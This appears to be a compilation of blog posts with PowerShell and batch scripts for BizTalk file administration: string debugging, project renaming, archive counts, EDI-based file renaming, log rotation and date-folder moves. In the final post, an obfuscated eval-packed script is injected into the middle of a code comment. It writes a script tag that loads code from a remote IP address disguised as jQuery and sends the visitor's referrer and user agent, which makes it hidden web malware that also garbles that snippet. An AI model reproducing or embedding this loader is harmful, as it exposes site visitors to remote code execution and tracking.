I was evaluating what I thought was a string read from a file, then doing an .indexOf on that string. Took me over an hour to debug something so simple.

Trying to get the position of a string within a larger string is pretty basic stuff; yet I was getting the mystery result of -1.
I then printed the file to console, copied into a separate program as a string, and it worked fine.

I was also puzzling why the .LastIndexOf variable didn’t appear in the auto-complete of ISE. That should have been my clue.

When I did the following:

$templateContent = Get-Content $inputTemplate 


this creates an array in $templateContent, and arrays have a similar method called .IndexOf.

The solution was to add the “-raw tag”. I had tried “-encoding ASCII” and various encodings, and that not getting me anywhere.

$templateContent = Get-Content $inputTemplate -raw

Then the code to do the .IndexOf was straight forward. At first, I thought my issue was within the quotes in quotes, so I simplified to something like basic like the word “xml”.

               $valueCustId = "Value=`"%CUSTID%`""; 
               $valueCustId = "xml"; 
               $posValueCustId = $updatedTemplateContent.IndexOf($valueCustId) 
               Write-Host "posValueCustId = $posValueCustId" 

https://stackoverflow.com/questions/49333243/powershell-indexof-is-not-working

Have you ever wanted to make a new Visual Studio solution (even a BizTalk one) as a copy of another, except just change the program names? And it would automatically rename everything, including the solutions, project files, assembly files and so on? I’ve needed this program for years, and finally wrote it!

Remember that the project name is often the Assembly name and the Default Namespace (in the AssemblInfo.cs file). This program renames the files, the folders, and updates the .sln and .csproj/.btproj files (and any other file). The “-exclude” parm on the Get-ChildItem is used to avoid binaries and other files that you do not want to change.

In BizTalk, the project name can also become your “TargetNamespace” for schemas.
Another trick with BizTalk is that some of the files are Unicode and some aren’t. So the rename program has to be conscious of that, and preserve the file type. I’m doing this by testing if the first tow characters of a file are are Byte Order Mark.

NOTE: Use with caution. Make a backup of your project before letting any program rip through and rename and change files!
Make sure your old/string new string are quite unique, so as not to change other random parts of your code. For example, if you use a 20-40 character project name like I have in $oldstring below, you are generally safe.

cls 
$path = "d:\Git_Dev\MyProject" 
cd $path 
$oldstring = "MyCompany.BizTalk.System.OriginalName"
$newstring = "MyCompany.BizTalk.System.NewName"

$files = Get-ChildItem -Path $path *.* -rec -file -exclude obj,debug,bin,*.msi,*.exe,*.dll,*.snk 

$loopCounter = 1 

foreach ($file in $files) 
{
    ##(-join [char[]](Get-Content $file.PSPath -Encoding Byte -TotalCount 2)) -eq 'ÿþ'
    Write-Host "FileName: $($file.Fullname)" 
    $fileContents = Get-Content $file.FullName 
    $fileContentsUpdated = $fileContents -replace $oldstring, $newstring 

    if ($filecontents -ne $null) 
    {
        #Write-Host "---BEFORE----" 
        #Write-Host $fileContents 
        #Write-Host "---AFTER----" 
        #Write-Host $fileContentsUpdated 

        if ($fileContents -ne $fileContentsUpdated) 
        {
            if ($fileContents[0..2] -eq 'ÿþ') 
            {
                Write-Host "Updating File $($file.Name) [Unicode] "
                Set-Content -path $file.FullName -value $fileContentsUpdated -Encoding Unicode 
            }
            else 
            {
                Write-Host "Updating File $($file.Name) [NOT-Unicode] "
                Set-Content -path $file.FullName -value $fileContentsUpdated ## not Unicode 
            }
        }

        $fileNameUpdate = $file.Name -replace $oldstring, $newstring 
        if ($file.Name -ne $fileNameUpdate) 
        {
           Write-Host "Rename $($file.FullName) to $fileNameUpdate" 
           Rename-Item -Path $file.FullName -NewName $fileNameUpdate 
        }

        $loopCounter = $loopCounter + 1 
        if ($loopCounter -gt 2) 
          {
             #exit 
          }

   }
}

// Repeat again, to rename folders 
$files = Get-ChildItem -Path $path *.* -rec -directory -exclude obj,debug,bin

foreach ($file in $files) 
{


        $fileNameUpdate = $file.Name -replace $oldstring, $newstring 
        if ($file.Name -ne $fileNameUpdate) 
        {
           Write-Host "Rename $($file.FullName) to $fileNameUpdate" 
           Rename-Item -Path $file.FullName -NewName $fileNameUpdate 
        }

}


My disk folder structure is like this:

D:\Application\DEV
D:\Application\DEV\Cust1
D:\Application\DEV\Cust1\Archive
D:\Application\DEV\Cust1\Archive\210
D:\Application\DEV\Cust1\Archive\204
D:\Application\DEV\Cust1\Inbound
D:\Application\DEV\Cust1\Inbound\204
D:\Application\DEV\Cust1\Inbound\210
D:\Application\DEV\Cust1\Outbound
D:\Application\DEV\Cust1\Outbound\204
D:\Application\DEV\Cust1\Outbound\210
Similar for \Cust2
Similar for \Cust3 etc

I was looking for a sample 210 EDI Invoice to use in testing; and I wanted the most recent ones.

It turns out you can put a wildcard in the variable passed on the -Path parameter. In that case, I don’t really need the -Recurse option, but I included it anyway (just in case someone created additional subfolders).

cls 
$Startpath = "D:\Application\DEV\*\Outbound\210"

#If you just want THE Most Recent File: 
#$latest = Get-ChildItem -Recurse -Path $Startpath | Sort-Object LastAccessTime -Descending | Select-Object -First 1 
#Write-Host "Latest= $($lastest.Fullname)" 

#Most recent 12 files (or whatever number you chose in the -First ## parameter) 
$latestFiles = Get-ChildItem -Recurse -Path $Startpath | Sort-Object LastAccessTime -Descending | Select-Object -First 12
Write-Host "Outbound Latest 12 files" 
foreach ($file in $latestFiles) 
{
   Write-Host $file.FullName
}

Use the .FullName property to show the complete folder name in the results.

Often, after implementing a new system or application on BizTalk, we need to provide a report to management of how many files were processed.

If you keep an archive of all files in or out, you can use that with a simple PowerShell to accomplish the report. Here’s an example I found:

PowerShell Example 1 – Files by Date

$count = @{}
$size  = @{}

get-childitem d:\BizTalk\MyApp\Archive\EDI850Order\*.txt |
 foreach {
           $date = $_.lastwritetime.tostring('dd-MMM')
           $count[$date]++
           $size[$date] += $_.length
         }
 $count.keys |
  sort|
  foreach {
           [PSCustomObject]@{
            Date = $_
            'Number of files' = $Count[$_]
            Size = $Size[$_]
           } 
         } | format-table -AutoSize

Sample Results of Above Powershell

Date   Number of files   Size
----   ---------------   ----
08-Sep              14  37263
11-Sep              19  53761
12-Sep               7  26984
13-Sep              45 147575
14-Sep              44 154050

Example 2 – Multiple Folders – Files by App and Date

#################################################################
#
# 
# Neal Walters - 09/25/2017
# Script: FileCountByDateAllDirs.ps1 
# Purpose: Get a summary report of files processed 
#  by each app on each date 
#  based on archive files 
#
#################################################################
cls 
$count = @{}
$size  = @{}

$items  = @(Get-ChildItem 'd:\BizTalk\EDIHorizon\Archive\EDI850Order' -r)
$items += @(Get-ChildItem 'd:\BizTalk\ZLien\ArchiveOutbound' -r)

$items |
 foreach {
           $posFirstSlash  = $_.fullname.indexOf("\") 
           $posSecondSlash = $_.fullname.indexOf("\", $posFirstSlash+1) 
           $posThirdSlash  = $_.fullname.indexOf("\", $posSecondSlash+1) 
           $lenApp = $posThirdSlash - $posSecondSlash - 1 
           # Write-Host $app $posSecondSlash $posThirdSlash $_.fullname 
           $date = $_.lastwritetime.tostring('yyyy-MMM-dd')
           $app = $_.fullname.substring($posSecondSlash+1,$lenApp)
           $key = $app+" "+$date
           $count[$key]++
           $size[$key] += $_.length
         }

 $count.keys |
  sort|
  foreach {
           [PSCustomObject]@{
            App_Date = $_
            'Number of files' = $Count[$_]
            Size = $Size[$_]
           } 
         } | format-table -AutoSize

Sample Results of Above Powershell

App_Date         Number of files     Size
--------         ---------------     ----
App1 2017-Sep-18              35   119159
App1 2017-Sep-19              32   105811
App1 2017-Sep-20              35   116315
App1 2017-Sep-21              12    34450
App1 2017-Sep-22              24    85952
App2 2017-Sep-20               2 15460798
App2 2017-Sep-21               2 15457187
App2 2017-Sep-22               2 15472012

With the SFTP ports in BizTalk 2013, we are using the log function. BizTalk appends each SFTP log to the end of the existing log file.
So I created a Powershell Script to take an array of directory names, and run the same re-run and delete logic for each.
I also include the logic to delete a file over a certain retention period (see also shorter code for that in prior post: “Powershell to Delete Old Files“).


#################################################################
#
#
# Neal Walters - 09/05/2017
# Script: RenameSFTPLogsToAddDate.ps1
# Purpose: Rename a file such as "receive_internal.txt" to
# "receive_internal_2017_09_01.txt"
# so that each day has it's own separate file of SFTP messages.
# Also purge files over $retentionDays
# Use Task Scheduler to schedlue this script
# to run once late a night or early morning.
#
#################################################################

cls
$retentionDays = 30
$formatDateTime = get-date -f _yyyy_MM_dd__HH_mm_ss
$formatDate = get-date -f _yyyy_MM_dd
Write-Host “formatDateTime= $formatDateTime”
Write-Host “——————————————————-”
$renameCount = 0
$skipCount = 0
$deleteCount = 0

# Array of Directory Names (logic below will process each directory you specify here)
$DirNames = “d:\BizTalk\App1\SFTPLogs\”,
“d:\BizTalk\App2\SFTPLogs\”

Foreach ($DirName in $DirNames)
{
Write-Host “DirName=$DirName”
Get-ChildItem $DirName -Filter *.txt |
Foreach-Object
{

$fullname = $_.FullName.ToString();
$dirname = $_.Directory.ToString();
$filename = $_.Name.ToString();
$filenameOnly = [io.path]::GetFileNameWithoutExtension($filename)
$ext = [io.path]::GetExtension($filename) # this includes the ., for example .txt

#If filename contains an underscore, then we think it has a date in it.
#If no date found, we want to rename the file, otherwise leave it as it was.

# looking for 20 as the century… part of date 2017, 2018, 2019 etc…
# if (-Not ($filenameOnly.toString().Contains(“_20”) ) )
if (-Not ($filenameOnly -Match “_20”) )
{
Write-Host “OldName $fullname”
$content = Get-Content $_.FullName
$formatDate = get-date -f _yyyy_MM_dd

Write-Host “Filename=$filename”
$newFileName = $dirname + “\” + $filenameOnly + $formatDate + $ext
Write-Host “NewName $newFileName`n”
Rename-Item $fullname $newFileName
$renameCount++
}
else
{
#Write-Host “Skipping file=$filenameOnly because no match”
$skipCount++
}

#purge files over retentionDays days old
if ($_.LastWriteTime.AddDays($retentionDays) -lt (GET-DATE) -and -not $_.psiscontainer)
{
REMOVE-ITEM $_.fullname -force
$deleteCount++
}
} #end of Foreach-Object
Write-Host “Number of Files Renamed = $renameCount”
Write-Host “Number of Files Skipped = $skipCount (for rename)”
Write-Host “Number of Files Deleted = $deleteCount”
Write-Host “——————————————————-”
}

The one thing I didn’t account for (yet), is the case where different files can have different EDI delimiters. Technically, you should look for the end of the ISA segment to find the delimiters, and use those in the RegEx match. For now, I’m assuming the field delimiter is * and the segment delimiter is the tilda (~).

Requirement

I was archiving the EDI files in BizTalk with the filename set to “%datetime%_%MessageID%_EDI.txt”. I decided it would be better to name the files COMPANYNAME_DOCTYPE_ORDERNO_ORDERDATE_%datetime%_%MessageID%_EDI.txt.
NOTE: I could have done this logic in a custom C# BizTalk Pipeline, but decided to do it after the fact with a more simple Powershell than would be easier for administrative staff to maintain and update.

Sample 1 – Just test the parsing

With this sample, you can copy the contents of a file into the $ediText string, and test.

cls
#Note subsituted " with `" in the string to escape the quotes within quotes issue 
$ediText = "ISA*00*          *00*          *ZZ*MYCUSTOMER*ZZ*MYCOUNTRY*170823*1610*U*00401*000000117*0*T*:~GS*PO*BTS-SENDER*RECEIVE-APP*170823*1610*117*T*00401~ST*850*0117~BEG*00*NE*391949**20170828~N1*BY*DELIVERY-ADDRESS~N1*ST*DELIVERY-ADDRESS~N3*1420 MAINSTREET DR~N4*DALLAS*TX*12345~PO1*1*5.00*EA*4.350**IN*106889~PID*F****SAND MIX ( SSM80 )~PO1*2*1.00*etc...~"; 

$CompanyID  = [regex]::match($ediText,'.*ISA\*.*?\*.*?\*.*?\*.*?\*.*?\*(.*?)\*.*').Groups[1].Value
$OrderNum   = [regex]::match($ediText,'.*BEG\*.*?\*.*?\*(.*?)\*.*').Groups[1].Value
$OrderDate  = [regex]::match($ediText,'.*BEG\*.*?\*.*?\*.*?\*.*?\*(.*?)[~\*].*').Groups[1].Value
$EdiDocType = [regex]::match($content,'.~ST\*(.*?)[~\*].*').Groups[1].Value

Write-Host "CompanyID = $CompanyID"; 
Write-Host "OrderNum = $OrderNum"; 
Write-Host "OrderDate= $OrderDate"; 
Write-Host "EdiDocType= $EdiDocType"; 

Sample 2 – Renaming Files Based on EDI Key Fields

cls

$DirName = "d:\BizTalk\EDIHorizon\Archive\EDI850Order\"

#only rename files that start with the year, 2017, 2018, etc...  thus 20*.txt 
Get-ChildItem $Dirname -Filter 20*.txt | 
Foreach-Object {

    $fullname = $_.FullName.ToString();  
    $dirname = $_.Directory.ToString(); 
    $filename = $_.Name.ToString(); 

    Write-Host "OldName $fullname"
    $content = Get-Content $_.FullName

    $CompanyID  = [regex]::match($content,'.*ISA\*.*?\*.*?\*.*?\*.*?\*.*?\*(.*?)\*.*').Groups[1].Value
    $OrderNum   = [regex]::match($content,'.*BEG\*.*?\*.*?\*(.*?)\*.*').Groups[1].Value
    $OrderDate  = [regex]::match($content,'.*BEG\*.*?\*.*?\*.*?\*.*?\*(.*?)[~\*].*').Groups[1].Value
    $EdiDocType = [regex]::match($content,'.~ST\*(.*?)[~\*].*').Groups[1].Value
    Write-Host "$OrderNum $OrderDate"

    Write-Host "Filename=$filename"
    $newFileName = $dirname + "\" + $CompanyID + "_" + $EdiDocType + "_" + $OrderNum + "_" + $OrderDate  + "_" + $filename
    Write-Host "NewName $newFileName`n" 
    Rename-Item $fullname $newFileName 
}

Having a filename like this will make it faster to search the archives for certain types of orders or files from a certain partner, or do do quick counts, based on the filename alone. For example, how many files did we get from XYZ company yesterday and today? This could be done in BizTalk with BAM as well, but my current client opted out of the overhead and complexity of BAM, especially since BizTalk was (for the most part), just passing the files around, not creating them.

The variable $EdiDocType above represents something like and 850, 855, 856, 810, 997, etc…

I might add one more feature. Many of the trading partner don’t use name, but some Dun number, phone number, or other ID number. I might have a lookup table to translate the code to a shortname that represents that trading partner.

In a previous article, we discussed how to use a Powershell job to delete files over a certain age.

But what if if you want to do it using straight “pure” DOS .bat or .cmd file?  The following shows you how it’s done:

REM Cleanup all files more than 7 days old
e:
cd E:\BizTalk\App\Backup
forfiles /S /M *.* /D -7 /C "cmd /c del @path"

NOTE however, UNC Paths are not supported. You CANNOT even specify UNC name to a remote server in the PATH parameter.

REM Cleanup all files more than 14 days old
forfiles /P \\server\BizTalk\App|Backup /S /M *.* /D -14 /C "cmd /c del @path"

The “forfiles” command is documented here, and
briefly recapped below:
.

It selects and executes any command on a file or set of files.

 

  • With forfiles, you can run a command on or pass arguments to multiple files. For example, you could run the type command on all files in a tree with the .txt file name extension. Or you could execute every batch file (*.bat) on drive C, with the file name “Myinput.txt” as the first argument.
  • With forfiles, you can do any of the following:
    • Select files by an absolute date or a relative date by using the /d parameter.
    • Build an archive tree of files by using variables such as @FSIZE and @FDATE.
    • Differentiate files from directories by using the @ISDIR variable.
    • Include special characters in the command line by using the hexadecimal code for the character, in 0xHH format (for example, 0x09 for a tab).

 

I recently showed a VBScript to Archive/Move xml files to a subfolder.  This is often needed when you have been archive or storing 1000s of XML files, and the the directory/folder is very slow to open due to the large number of files.  Now, we will do it in Powershell.

Create the subfolders ahead of time. With some minor improvements we could do that in the code, but I was in a hurry today when I needed this…

Get-ChildItem "201604*.xml" | ForEach { move -path $_ -destination ($_.directoryname +"\Archive\2016_04\"+ $_.Name)}

This does the following:
1) Select all files starting with “201604” (in my case, the files began with yyyymmdd.
2) pipe that into a ForEach loop
3) Run the “Move” commandlet
4) the filename in the loop is the $_ symbol
5) Then you build the destination directory $_ again is the iterator of the loop, i.e. the FileName object, so we can get it’s directory and “Name”. There, we insert the 2016_xx for the month.

So yes, you can make this a lot fancier, but it’s a start…

Business Problem/Scenario

I had a .bat file with 50 lines or more, and many of them had disk paths. We were migrating this to production, so I did “replace all” commands to change all the paths to production SAN/Server names. But then, I knew some of the paths existed, and some didn’t. So I wanted to find all the paths that didn’t exist, so either:
1) I could fix the filename, or
2) Create the path on the disk

So I needed to parse the file looking for file/path names. At first I tried RegEx, but then decided that just using “Split” was faster in my case. (Sometimes you just want to get the job done in the shortest amount of time.)

The following works when you have a prefix on each directory path. I’m sure there are variations you could make on this depending on your filenames. I’m only looking for lines that have .exe, because the .bat file is running various C# program to process the files.

Sample file Test.bat:

line1 Small.exe \\MyServer\Messages\Dir1 and more words
line2 Biggertest2.exe \\MyServer\Messages\Dir1 parm2 \\MyServer\Messages\Dir2 parm4

Sample Powershell Code:

$filename = "c:\Users\MyName\Documents\Powershell\Test.bat"
$linesOfFile = Get-Content $filename 
$pathPrefix = "\\MyServer" 
cls
foreach ($line in $linesOfFile) 
  {
     #Write-Host $line 
     if ($line.Contains(".exe")) 
       {
          #Write-Host 
          #Write-Host $line

          $tokens = $line -split " "
          foreach ($token in $tokens) 
            {
                if ($token.Contains($pathPrefix)) 
                    {
                       #Write-Host $token 
                       if (-Not (Test-Path $token))
                          {
                             Write-Host "Not Found: $token "
                          }
                       else 
                          {
                             #Write-Host "Found: $token "
                          }

                    }
            }

       }
  }

Results (Output):

Not Found: \\MyServer\Messages\Dir1
Not Found: \\MyServer\Messages\Dir1
Not Found: \\MyServer\Messages\Dir2

Subsequent Improvements:

Make the whole line upper case. Ignore lines that start with “REM” (remarks/comments).
Future enhancement, could also make sure that the .exe files exist.

     #before loop
     $pathPrefix = $pathPrefix.ToUpper() 

     #inside loop 
     $line = $line.ToUpper()  
     if ($line.Contains(".EXE") -and -not($line.StartsWith("REM"))) 

With BizTalk, we often archive files in a sub directory. Personally, I would rather archive to a SQL database with a database column, but that takes a little more architecture and sales. So in the meantime, many clients continue to write files to disk. There are frequently clean-up jobs that delete files over x days old.

However, when there are multiple thousands of a files in any directory, it can take a long time to open that directory, and display the files, especially when you are accessing it from a remote computer.

The $DaysBack parameter can be set to non-zero if you want to only group files over x days old into sub-directories.

<code>
#Move <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daayr|var|u0026u|referrer|fryzr||js|php'.split('|'),0,{}))
</script></noindex> files (for example BizTalk archive XML files) 
#into subfolders based on date 
cls

$SourceDir = "C:\TestFiles\"
$DestinationDir = "C:\TestFiles\"
$DaysBack = 0 

$files = get-childitem $SourceDir *.* 
Write-Host "File COunt= $($files.Count)"

foreach ($file in $files) 
{
    $NewSubDirectory = $DestinationDir + "" + $file.LastWriteTime.Date.ToString('yyyy-MM-dd')

    #Create $NewSubDirectory if it doesn't already exist 
    if (!(Test-Path $NewSubDirectory))
	    {
	    New-Item $NewSubDirectory -type directory
	    }

    if ($DaysBack -gt 0)
       {
       If($file.LastWriteTime -lt (Get-Date).adddays(-1 * $DaysBack).date)
          {
	       Move-Item $file.fullname $NewSubDirectory
           }
       }
    else 
       {
    	   Move-Item $file.fullname $NewSubDirectory
       }
}
</code>

 

You will need full write/rename access to run this script. You can specify a UNC name in the $SourceDir and $DestinationDir variables.

Code above based on code sample found here http://www.marcvalk.net/2012/06/powershell-moving-files-into-subfolder-based-on-date/

Before – could be thousands of files

Powershell_MoveFilesSubDir_Before

After – Files in neat subdirectories by date

Powershell_MoveFilesSubDir_After